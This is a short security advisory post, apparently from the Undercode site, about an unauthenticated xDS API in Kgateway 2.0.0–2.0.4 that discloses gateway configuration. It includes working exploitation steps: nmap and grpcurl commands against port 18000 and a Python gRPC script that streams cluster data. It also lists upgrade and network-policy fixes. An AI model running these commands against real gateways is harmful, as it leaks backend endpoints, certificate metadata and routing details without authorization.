Listen to this Post
The vulnerability exists in the Kgateway’s xDS API interface within versions 2.0.0 to 2.0.4. This API, used for dynamic configuration management, did not implement any form of client authentication. The xDS server, by default, listens on a specific TCP port for incoming connections from data plane clients. When a client connects, the server’s handling function processes the request without performing an authentication handshake or validating security tokens. Consequently, any client that can establish a network connection to this port can send a valid gRPC xDS request, such as a ClusterDiscoveryService or ListenerDiscoveryService request. The server, lacking authorization checks, will respond by transmitting the entire current configuration state. This data flow exposes sensitive gateway configuration objects, including TLS certificate metadata, upstream backend service endpoints, routing rule predicates, and internal cluster definitions, to any unauthenticated network entity.
Platform: Kgateway
Version: 2.0.0-2.0.4
Vulnerability: Information Disclosure
Severity: Critical
date: 2024-10-23
Prediction: Patch 2024-11-06
What Undercode Say:
nmap -p 18000 <kgateway_ip> grpcurl -plaintext <kgateway_ip>:18000 list grpcurl -plaintext <kgateway_ip>:18000 envoy.service.cluster.v3.ClusterDiscoveryService/StreamClusters
import grpc
import envoy_service_discovery_v3_pb2
import envoy_service_discovery_v3_pb2_grpc
channel = grpc.insecure_channel('target_ip:18000')
stub = envoy_service_discovery_v3_pb2_grpc.ClusterDiscoveryServiceStub(channel)
response = stub.StreamClusters(iter([envoy_service_discovery_v3_pb2.DiscoveryRequest()]))
for resource in response:
print(resource)
How Exploit:
Unrestricted network access.
Query xDS port.
Exfiltrate configuration data.
Protection from this CVE
Upgrade to 2.0.5.
Implement NetworkPolicies.
Use JWT authentication.
Impact:
Sensitive data exposure.
Configuration topology leak.
Backend service discovery.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
